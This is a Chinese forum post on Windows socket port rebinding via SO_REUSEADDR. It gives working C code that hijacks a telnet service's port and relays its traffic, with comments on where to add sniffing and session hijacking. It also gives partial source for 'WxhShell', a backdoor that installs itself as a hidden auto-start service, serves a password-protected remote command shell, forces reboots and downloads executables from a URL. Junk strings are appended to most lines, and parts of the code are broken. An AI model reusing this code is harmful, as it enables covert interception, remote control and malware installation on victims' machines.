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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ut~YvWc9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {@KLN<  
lJAzG,f  
  saddr.sin_family = AF_INET; `P\H{  
`{YOl\d_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); X#axCDM-  
EO+Ix7w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); TQeIAy  
;VCV%=W<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MMa`}wSs  
E*)A!2rlK  
  这意味着什么?意味着可以进行如下的攻击: _\4r~=`HQ  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 aEdMZ+P.  
MkVv5C  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^'Lp<YJs6  
=z5=?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #p=+RTZ<  
%+/v")8+?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1<x5{/CZ  
 e#5WX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N/-(~r[  
iU.` TqR7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 EM<W+YU  
u^C\aujg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K'8o'S_bF  
R5MN;xG^  
  #include Usht\<{  
  #include o$bQ-_B`  
  #include Y]R=z*i%  
  #include    7]u_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,FYA*}[  
  int main() Q +hOW-  
  { br0\O  
  WORD wVersionRequested; + ,]&&  
  DWORD ret; q:>`|~MX  
  WSADATA wsaData; DDIRJd<J  
  BOOL val; "c~``i\G   
  SOCKADDR_IN saddr; zhE4:g9v  
  SOCKADDR_IN scaddr; q:vN3#=^qf  
  int err; n"iaE  
  SOCKET s; M&zB&Ia"'  
  SOCKET sc; 2:.$:wS  
  int caddsize; $m>( kd1  
  HANDLE mt; hQ%X0X,  
  DWORD tid;   ZyU/ .Uk  
  wVersionRequested = MAKEWORD( 2, 2 ); 6;I zw$X  
  err = WSAStartup( wVersionRequested, &wsaData ); cJT_Qfxx  
  if ( err != 0 ) { %\v  
  printf("error!WSAStartup failed!\n"); k!qOE\%B  
  return -1; 1\-lAk!   
  } !bK;/)  
  saddr.sin_family = AF_INET; #/(L.5d[  
   6UN{Vjr%`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (q 7;/n  
t re`iCH~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]%7m+-h@  
  saddr.sin_port = htons(23); Yo5ged]i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N+R{&v7=F%  
  { lh0G/8+C  
  printf("error!socket failed!\n"); t(,2x%{  
  return -1; 3Qv9=q|[b  
  } !`U #Pjp.  
  val = TRUE; V[44aN  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2DZ&g\|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) YS9)%F=X  
  { 4wS!g10}  
  printf("error!setsockopt failed!\n"); '6WZi|(a  
  return -1; <1sUK4nQ,  
  } Pmuk !V}f  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @uxg;dyI~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 '+|uv7|+v  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }&ew}'*9)  
yh4%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }sZy|dd  
  { >Y3zO2Cr  
  ret=GetLastError(); \>/AF<2"  
  printf("error!bind failed!\n"); A[88IMZs  
  return -1; @$ )C pg  
  } ,;= S\  
  listen(s,2); F0'o!A#|(  
  while(1) Y^?PHz'Go  
  { ]w8h#p  
  caddsize = sizeof(scaddr); ]_ y;Igaj  
  //接受连接请求 . }tpEvAw}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); G~lnX^46"  
  if(sc!=INVALID_SOCKET) 4=ha$3h$  
  { n<[H!4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); G#^6H]`[J:  
  if(mt==NULL) H#`&!p  
  { su=]gE@  
  printf("Thread Creat Failed!\n"); \y/0)NL\  
  break; U%2{PbL  
  } xl,?Hh%#  
  } ^F"eHUg  
  CloseHandle(mt); 6:TA8w|  
  } `O,"mm^@U  
  closesocket(s); T 6rjtq  
  WSACleanup(); 49#?I:l  
  return 0; X0m6<q  
  }   wB*}XJah  
  DWORD WINAPI ClientThread(LPVOID lpParam) P6ugbq[x#e  
  { SQ`ec95',  
  SOCKET ss = (SOCKET)lpParam; TkjZI}]2  
  SOCKET sc; +m6acu)N.  
  unsigned char buf[4096]; ukX KUYNm8  
  SOCKADDR_IN saddr; FwSV \N+#'  
  long num; ^#j{9FpPs  
  DWORD val; ViG-tb   
  DWORD ret; =$%_asQJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \o!B:Vb<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   cp 7;~i3  
  saddr.sin_family = AF_INET; /%)x!dmy  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v.]W{~PI2V  
  saddr.sin_port = htons(23); htqC~B{1E  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `>$l2,  
  { oo,3mat2C  
  printf("error!socket failed!\n"); (<5&<JC{  
  return -1; 0bMbM^xV6  
  } T+<OlXpL  
  val = 100; kv3V|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &uv7`VT  
  { >:U{o!N`#_  
  ret = GetLastError(); Nxt z1  
  return -1; WG*S:_?  
  } Q92hI"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z|Xv_Xo|4  
  { `lq[6[n  
  ret = GetLastError(); yNmzRH u  
  return -1; Q\v^3u2;m`  
  } k'Z$#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g`zC0~D2  
  { qgLj^{  
  printf("error!socket connect failed!\n"); ]a=Bc~g91  
  closesocket(sc); !xZ`()D#  
  closesocket(ss); '4d+!%2t  
  return -1; q1o)l  
  } \wo'XF3:  
  while(1) ID v|i.q3  
  { r*s)T`T}}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #_OrS/H  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lw 9 rf4RF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cY\"{o"C  
  num = recv(ss,buf,4096,0); n<>/X_m  
  if(num>0) wpPCkfPyL  
  send(sc,buf,num,0); })@LvYK  
  else if(num==0) MDKiwT@#  
  break; #~88[i-6  
  num = recv(sc,buf,4096,0); ,;wc$-Z!8  
  if(num>0) f)K1j{TZ  
  send(ss,buf,num,0); q'awV5y  
  else if(num==0) E#cZM>  
  break; .9;wJ9Bw[  
  } 5%Q[X  
  closesocket(ss); rN^P//  
  closesocket(sc); 7Cj6Kw5k  
  return 0 ; Tn8GLn  
  } q!zsGf {  
J deGQ  
O:,Fif?;  
========================================================== ]):kMRv  
<oWoJP`G  
下边附上一个代码,,WXhSHELL x?B8b-*  
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========================================================== ^aG=vXK`b  
uEKa  FRm  
#include "stdafx.h" Tb6c]?'U  
L>EC^2\  
#include <stdio.h> j8ebVq  
#include <string.h> u ?n{r  
#include <windows.h> [3QKBV1\  
#include <winsock2.h> w_!]_6%{b  
#include <winsvc.h> j;']L}R  
#include <urlmon.h> oUwu:&<Orm  
0Bpix|mq  
#pragma comment (lib, "Ws2_32.lib") 6+[7UH~pm^  
#pragma comment (lib, "urlmon.lib") f}>S"fFI  
hd}"%9p  
#define MAX_USER   100 // 最大客户端连接数 OjiQBsgnj  
#define BUF_SOCK   200 // sock buffer \!4sd2Yi  
#define KEY_BUFF   255 // 输入 buffer %v(\;&@  
(7g1eEK%  
#define REBOOT     0   // 重启 c);(+b  
#define SHUTDOWN   1   // 关机 p$cSES>r:  
&t\KKsUtd  
#define DEF_PORT   5000 // 监听端口 {r!X W  
-Fj:^q:@u  
#define REG_LEN     16   // 注册表键长度 =,=tSp  
#define SVC_LEN     80   // NT服务名长度 y$e'-v  
G_] (7  
// 从dll定义API j.@TPf*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w oqP&8a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wz P")}[0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "sf]I[a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `n!<h,S'2  
#Mz N7  
// wxhshell配置信息 w<]Wg^dyQ  
struct WSCFG { 8HyK;+ZkVd  
  int ws_port;         // 监听端口 ei8OLcw:x  
  char ws_passstr[REG_LEN]; // 口令 85fBKpEe  
  int ws_autoins;       // 安装标记, 1=yes 0=no z;_d?S <*m  
  char ws_regname[REG_LEN]; // 注册表键名 0#mu[O  
  char ws_svcname[REG_LEN]; // 服务名 &\0`\#R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u&>o1!c*P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P:")Qb2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {AY `\G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e>kw>%3bl9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X192Lar  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =kspHP<k  
=y/VrF.bV  
}; f&S,l3H<  
h.6yI  
// default Wxhshell configuration WlnI`!)d  
struct WSCFG wscfg={DEF_PORT, *zy0,{bl  
    "xuhuanlingzhe", dB`YvKr#  
    1, P==rY5+s`  
    "Wxhshell", gn? ~y`  
    "Wxhshell", zA![c l>$  
            "WxhShell Service", @])qw_  
    "Wrsky Windows CmdShell Service",  0FHX  
    "Please Input Your Password: ", ba3_5 5]  
  1, $e! i4pM  
  "http://www.wrsky.com/wxhshell.exe", l\yFx  
  "Wxhshell.exe" U&6!2s-  
    }; B=/*8,u  
8yH) 8:w  
// 消息定义模块 S) [`Bm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wK[xLf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ESZ6<!S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; > @ulvHL  
char *msg_ws_ext="\n\rExit."; /R< Q~G|\  
char *msg_ws_end="\n\rQuit."; a<[@p  
char *msg_ws_boot="\n\rReboot..."; mB$r>G/'  
char *msg_ws_poff="\n\rShutdown..."; l|fOi A*K  
char *msg_ws_down="\n\rSave to "; '(kySf[  
MS6^= ["  
char *msg_ws_err="\n\rErr!"; e/WR\B'1  
char *msg_ws_ok="\n\rOK!"; oU m"qt_  
WZ'3  
char ExeFile[MAX_PATH]; $+sNjwv^F  
int nUser = 0; N"b>]Ab] ;  
HANDLE handles[MAX_USER]; `?Wak =]g  
int OsIsNt; NwmO[pt+  
Got5(^'c  
SERVICE_STATUS       serviceStatus; V&DS+'P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Gt[!q\^?  
EeKEw Sg  
// 函数声明 r}P{opn$t  
int Install(void); laqW {sX^5  
int Uninstall(void); DY6wp@A  
int DownloadFile(char *sURL, SOCKET wsh); KX9+*YY,  
int Boot(int flag); ">kf X1LT  
void HideProc(void); X;T(?,,  
int GetOsVer(void); :JqH.Sqk  
int Wxhshell(SOCKET wsl); ,|b<as@X  
void TalkWithClient(void *cs); lhx6+w  
int CmdShell(SOCKET sock); abtAkf  
int StartFromService(void); @R?S-*o  
int StartWxhshell(LPSTR lpCmdLine); OFCOMM  
`,&h!h((  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gydPy*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^zQ;8)ng  
U]fE(mpI9  
// 数据结构和表定义 pHY~_^B4&  
SERVICE_TABLE_ENTRY DispatchTable[] = R{3f5**0  
{ jGEUl=W  
{wscfg.ws_svcname, NTServiceMain}, )5Kzq6.  
{NULL, NULL} &|H?J,>  
}; V2%FWo|  
W\zg#5fmK  
// 自我安装 qU#Gz7/  
int Install(void) q[l},nw  
{ 7,_N9Q]rB  
  char svExeFile[MAX_PATH];  AMvM H  
  HKEY key; TC3xrE:U<m  
  strcpy(svExeFile,ExeFile); mz[rB|v"/7  
w/N.#s^  
// 如果是win9x系统,修改注册表设为自启动 G;FY2;adK  
if(!OsIsNt) { q?&vV`PG5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tm@mk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y&A*/J4P  
  RegCloseKey(key); .8l\;/o|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rw*l#cr=.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &D uvy#J  
  RegCloseKey(key); IyYC).wU}  
  return 0; T<DQi  
    } by& #g  
  } 1Af~6jz  
} C2,,+* v  
else { cxrUk$f  
3t(nV4uDF  
// 如果是NT以上系统,安装为系统服务 :=^JHE{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %? _pSH}$!  
if (schSCManager!=0) ) ]U-7  
{ 1,Uv;s;{  
  SC_HANDLE schService = CreateService x\!Qe\lE  
  ( )`^t,x<S  
  schSCManager, d$kGYMT"  
  wscfg.ws_svcname, s*:J=+D]G  
  wscfg.ws_svcdisp, "W|Sh#JF  
  SERVICE_ALL_ACCESS, 3IZ^!J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7Rk eV  
  SERVICE_AUTO_START, |~W!Y\l-  
  SERVICE_ERROR_NORMAL, YrjF1hJ  
  svExeFile, -d6| D?}S  
  NULL, H |Z9]+h)7  
  NULL, t*82^KDU  
  NULL, #5N#^#r"  
  NULL, MV H^["AeR  
  NULL d5%A64?  
  ); "MKgU[t  
  if (schService!=0) "o`N6@[w^  
  { 8,#v7ns}#  
  CloseServiceHandle(schService); ;_,=  
  CloseServiceHandle(schSCManager); g ` 6Xrf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %.BbPR7?h  
  strcat(svExeFile,wscfg.ws_svcname); 1Qtojph  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P6zy<w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WL7R.!P  
  RegCloseKey(key); 6?Rm>+2>v  
  return 0; 'u{m37ZJ  
    } uY,&lX+!  
  } m]+g[L?-  
  CloseServiceHandle(schSCManager); Xp{+){Iu  
} ,Zb]3  
} *;(LKRV  
gpe^G64c`  
return 1; \('8 _tqI"  
} ( N~[sf?&  
+y>D3I  
// 自我卸载 A /,7%bB1  
int Uninstall(void) #q%xJ[  
{ c</d1xT  
  HKEY key; OnC|9  
s9PD[u/y  
if(!OsIsNt) { amK?LDf]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /<9VKMR_k  
  RegDeleteValue(key,wscfg.ws_regname); :z56!qU  
  RegCloseKey(key); !%_Z>a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xXE/pIXw  
  RegDeleteValue(key,wscfg.ws_regname); vX]\Jqy  
  RegCloseKey(key); SgHLs  
  return 0; =K=FzV'_~  
  } > F&Wuf  
} AiykIER/  
} bBc<yaN  
else { wLPL 9  
5. 5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fKf5i@CvB@  
if (schSCManager!=0) G\?fWqx  
{  Y5 $5qQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j08}5Eo  
  if (schService!=0) 0"(5\T  
  { G)';ucs:,  
  if(DeleteService(schService)!=0) { <YP>c  
  CloseServiceHandle(schService); scCOiK)  
  CloseServiceHandle(schSCManager);   _p\  
  return 0; qg vg MWj  
  } L@2T  
  CloseServiceHandle(schService); }a,j1r_Hl&  
  } Vz!W(+  
  CloseServiceHandle(schSCManager); !krbGpTVH  
} ce\]o^4  
} p3`'i  
P}KN*Hn.  
return 1; 5vj;lJKcd`  
}  57Q^ "sl  
TggM/ @k  
// 从指定url下载文件 U,yU-8z/  
int DownloadFile(char *sURL, SOCKET wsh) $(H%|Oyn  
{ }+h/2D  
  HRESULT hr; ^I@1y}xi  
char seps[]= "/"; ZWQrG'$?o8  
char *token; k]!Fh^O~,  
char *file; r9sW:cM:e  
char myURL[MAX_PATH]; )d!,,o  
char myFILE[MAX_PATH]; 3xWeN#T0  
v}!eJzeH  
strcpy(myURL,sURL); >t&Frw/Bl  
  token=strtok(myURL,seps); <f&z~y=  
  while(token!=NULL) Dj'aWyW'  
  { \?{nP6=  
    file=token; %|}obiV)  
  token=strtok(NULL,seps); ,di'279|  
  }  ~Jrtm7  
]y>)es1  
GetCurrentDirectory(MAX_PATH,myFILE); w7cciD|  
strcat(myFILE, "\\"); +VkhM;'"C  
strcat(myFILE, file); ?D]4*qsIlu  
  send(wsh,myFILE,strlen(myFILE),0); tI0d!8K  
send(wsh,"...",3,0); 1T a48  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `9n%Dy<  
  if(hr==S_OK) 9}Ud'#E  
return 0; uV!Ax *'  
else NJ^`vWi  
return 1; z 0]K:YV_  
6e3s |  
} >KmOTM< {  
97lM*7h;  
// 系统电源模块 8Eyi`~cAiH  
int Boot(int flag) G.OAzA13!t  
{ 1Y:lFGoe  
  HANDLE hToken; I&?(=i)N  
  TOKEN_PRIVILEGES tkp; q{5wx8_U  
O}I8P")m  
  if(OsIsNt) { =T;>$&qs  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D0 Yl?LU3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^AkVmsv;;  
    tkp.PrivilegeCount = 1; mD{<Lp=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DvCs 5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #5-5N5-1  
if(flag==REBOOT) { u@tJu'X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6:O3>'n  
  return 0; j}7as&  
} ||a 5)D  
else { dqMt6b\}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yBqv'Y  
  return 0; x%ju(B>  
} =QFnab?N  
  } p\T9 q  
  else { 2A7g}V  
if(flag==REBOOT) { qq" &Bc>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QlmZBqK}&  
  return 0; 9 ?a-1  
} dznHR6x  
else { -Zx hh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1t haQ"  
  return 0; np,L39:sf  
}  =+9.X8SP  
} KKP}fN  
f_a.BTtNO  
return 1; Pj9n`LwM  
} <3C~<  
/HbxY  
// win9x进程隐藏模块 $zS0]@Dj  
void HideProc(void) 86igP  
{ hfT HP  
~L$B]\/A5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _i{$5JJ+K2  
  if ( hKernel != NULL ) y`O !,kW  
  { }1E'a>^|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qu- !XC0p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wQbN5*82  
    FreeLibrary(hKernel); 2 g5Ft  
  } ^HYmi\`  
UQ6UZd37   
return; tZ,vt7  
} u3)Oj7cX  
],CJSA!5F  
// 获取操作系统版本 #U45;idp  
int GetOsVer(void) 'zCJK~x`x  
{ 7 zo)t1H1  
  OSVERSIONINFO winfo; vH/<!jtI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 37GJ}%Qs  
  GetVersionEx(&winfo); EN6a? }5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) np3$bqm  
  return 1; .J:04t1  
  else kXimJL_<g  
  return 0; e+jp03m\W  
} 09z%y[z  
7|4hs:4mD  
// 客户端句柄模块 Q WVH4rg  
int Wxhshell(SOCKET wsl) i(R&Q;{E^  
{ q] g'rO'  
  SOCKET wsh; vJ5`:4n"  
  struct sockaddr_in client; +p6cG\Gp  
  DWORD myID; \pI)tnu6'U  
NX7(;02  
  while(nUser<MAX_USER) w{uq y]  
{ \l!^6G|c  
  int nSize=sizeof(client); W:D'k^u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^9*FYV  
  if(wsh==INVALID_SOCKET) return 1; EWuuNf  
xxxM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _/;k ;$gDp  
if(handles[nUser]==0) &'`q&U1x  
  closesocket(wsh); :N03$Tvl  
else [0|g3K !A  
  nUser++; '}\{4Qst  
  } RDU,yTHq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n+Ofbiz@  
3=o^Vv  
  return 0; 46(Vq|  
} ~5Wr |qg%{  
'Gwa[ |6i  
// 关闭 socket 0l-m:6  
void CloseIt(SOCKET wsh) = 7U^pT  
{ ]jo^P5\h>  
closesocket(wsh);  +C3IP  
nUser--; v&g(6~b_>  
ExitThread(0); xK4b(KJj  
} i! G^=N  
W\09h Z6  
// 客户端请求句柄 ECHl 9; +  
void TalkWithClient(void *cs) Mazjn?f  
{ (?MRbX]@  
*&p`8:  
  SOCKET wsh=(SOCKET)cs; jR~2mf!h*e  
  char pwd[SVC_LEN]; (ov=D7>t0  
  char cmd[KEY_BUFF]; zA+&V7bvy  
char chr[1]; 5G.A\`u%  
int i,j; sO7$b@"u.  
(lv|-Phc.  
  while (nUser < MAX_USER) { `>:ozN#)\  
n]&/?6}  
if(wscfg.ws_passstr) { cJ9:XWW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O[+![[N2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *O') {(  
  //ZeroMemory(pwd,KEY_BUFF); Xh==F:  
      i=0; u@d`$]/>F  
  while(i<SVC_LEN) { vUa~PN+Iy  
4-^LC<}k  
  // 设置超时 I!bzvPJ]xc  
  fd_set FdRead; AHsp:0Ma#  
  struct timeval TimeOut; x Lht6%o*  
  FD_ZERO(&FdRead); 'A91i  
  FD_SET(wsh,&FdRead); 3UeG>5R  
  TimeOut.tv_sec=8; j^A0[:2  
  TimeOut.tv_usec=0; gE8=#%1<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S-[]z*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w <zO  
x7$U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $q#|B3N%  
  pwd=chr[0]; x:8xGG9  
  if(chr[0]==0xd || chr[0]==0xa) { M7vc/E}]n  
  pwd=0; :b+C<Bp64r  
  break; 7aTo! T  
  } 9k.LV/Y  
  i++; M ,.++W\  
    } 9:0JWW^so  
yO Cv-zm  
  // 如果是非法用户,关闭 socket `X?l`H;#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %XGwQB$zk8  
} EgIFi{q=0  
xQs2 )  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2%g)0[1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }vBk ,ED  
.Ajs0 T2  
while(1) { eK\ O>  
\ ?['pB  
  ZeroMemory(cmd,KEY_BUFF); (mXV5IM  
k)\Yl`4au  
      // 自动支持客户端 telnet标准   oD_'8G}  
  j=0; eN]0]9JO  
  while(j<KEY_BUFF) { s]Z/0:`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rC~hjViG.  
  cmd[j]=chr[0]; ~X;r}l=k<  
  if(chr[0]==0xa || chr[0]==0xd) { +) 2c\1  
  cmd[j]=0; * bmdY=#7  
  break; K1RTAFf /  
  } 2!/*I:  
  j++; ]dk44,EL  
    } j6Acd~y\2  
7V?]Qif~  
  // 下载文件 H~RWM'_  
  if(strstr(cmd,"http://")) { 2&fIF}vk>m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vW6Pf^yJ  
  if(DownloadFile(cmd,wsh)) Vf6lu)Z c1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mJb>)bO l  
  else pLMki=.Ld  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Bg} a  
  }  8YFfnk  
  else { u{=(] n  
Q%~b(4E^7P  
    switch(cmd[0]) { {>>ozB.  
  p"ht|x  
  // 帮助 FCQIfJ#  
  case '?': { 8^j u=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w#k'RuOw5  
    break; QFIdp R.  
  } X tZ0z?  
  // 安装 g<oSTA w  
  case 'i': { y]eH@:MJ;A  
    if(Install()) hfP}+on%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); # 4`*`)%  
    else Lu}oC2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~Bn#A kL  
    break; " M8 j?  
    } FX)g\=ov  
  // 卸载 (qHI>3tpY  
  case 'r': { T#?KY  
    if(Uninstall()) {y=H49  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'wz*GMGWC  
    else Zeyhr\T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {c|nIwdB  
    break; [(}f3W&  
    } f33'2PYl  
  // 显示 wxhshell 所在路径 $6atr-Pb  
  case 'p': { Y[Us"K`  
    char svExeFile[MAX_PATH]; h";G vjy  
    strcpy(svExeFile,"\n\r"); A- IpE  
      strcat(svExeFile,ExeFile); Jis{k$4  
        send(wsh,svExeFile,strlen(svExeFile),0); YMLo~j4J  
    break; ;^xlDN  
    } ftF?T.dx  
  // 重启 OM{-^  
  case 'b': { By6C+)up  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NZYtA7  
    if(Boot(REBOOT)) <I'kJ{"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MGX %U6  
    else { x_{ua0BLDf  
    closesocket(wsh); F >2t=r*9  
    ExitThread(0); fHYEK~!C04  
    } cqr!*  
    break; eSoOJ[&$  
    } Wcn3\v6_  
  // 关机 Y&`Vs(  
  case 'd': { h J#U;GL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~\DC )  
    if(Boot(SHUTDOWN)) ~}w(YQy=y  
